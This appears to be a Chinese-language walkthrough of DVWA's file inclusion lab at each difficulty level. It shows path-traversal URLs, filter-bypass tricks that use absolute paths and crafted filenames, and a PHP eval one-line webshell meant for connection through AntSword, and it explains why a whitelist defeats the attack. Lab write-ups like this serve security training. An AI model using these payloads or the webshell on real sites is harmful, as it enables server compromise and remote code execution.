?LOW:
先隨便點開一個文件,可以觀察到url欄變成這樣,說明?page=是dvwa當前關卡用來加載文件的參數
http://10.24.8.35/DVWA/vulnerabilities/fi/?page=file1.php
我們查看源碼 ,沒有什么過濾,直接嘗試訪問其他文件
在url欄的page處做一些修改,我們改動page后為如下代碼
?page=../../phpinfo.php
../(上級目錄指示符號):
從內向外跳,先隨便測試一個不存在的文件名,報錯,但可以看出我們要查詢的目標文件(phpinfo),在dvwa層的目錄里,還有兩層的距離,所以我們輸入兩個../
?爆出信息
?說明dvwa文件目錄里的可以運行
我們在dvwa文件夾里新建一個測試文件testd1.exe
輸入想要的內容然后ctrl-s保存 (這很重要(悲))
在 url 里寫代碼
ps!:服務器會把我們包含的任何文件作為php代碼執行,如果包含有效的代碼,執行并返回i結果,如果不是php代碼,就直接回顯文件內容
?page=../../testd1.txt
回顯成功?
現在我們把文件后綴改成php,內容改成php一句話木馬,打開中國蟻劍
<?php @eval($_POST['password']);?>
?
MEDIUM:
觀察源碼:
發現這一關將http://,https://,../,..\ 全部替換為了空格?
個人解決的一點疑問:這里的過濾僅僅針對page的參數,而不是應用于整個url
所以這一關我們把相對路徑( ../ )換成絕對路徑就行~
http://10.24.15.188/DVWA/vulnerabilities/fi/?page=D:\nginx-1.27.5\html\DVWA\testd1.php
其余爆數據與low一樣
HIGH:
查看源碼:
用fnmatch函數檢查page之后的文件名是否以file開頭,或者文件名是否為include
所以我們把文件名改成filedi.php,?其余爆數據與low一樣
IMPOSSIBLE:
分析源碼:
白名單(whitelist):
與黑名單(Blacklist)相反:
-
黑名單:禁止已知的危險項,放行其他內容(如:過濾 ../ )。
-
白名單:只允許已知的安全項,拒絕其他所有內容(如:只允許 incude.php)。
所以無論怎么構造,都只能包含這四個文件,無解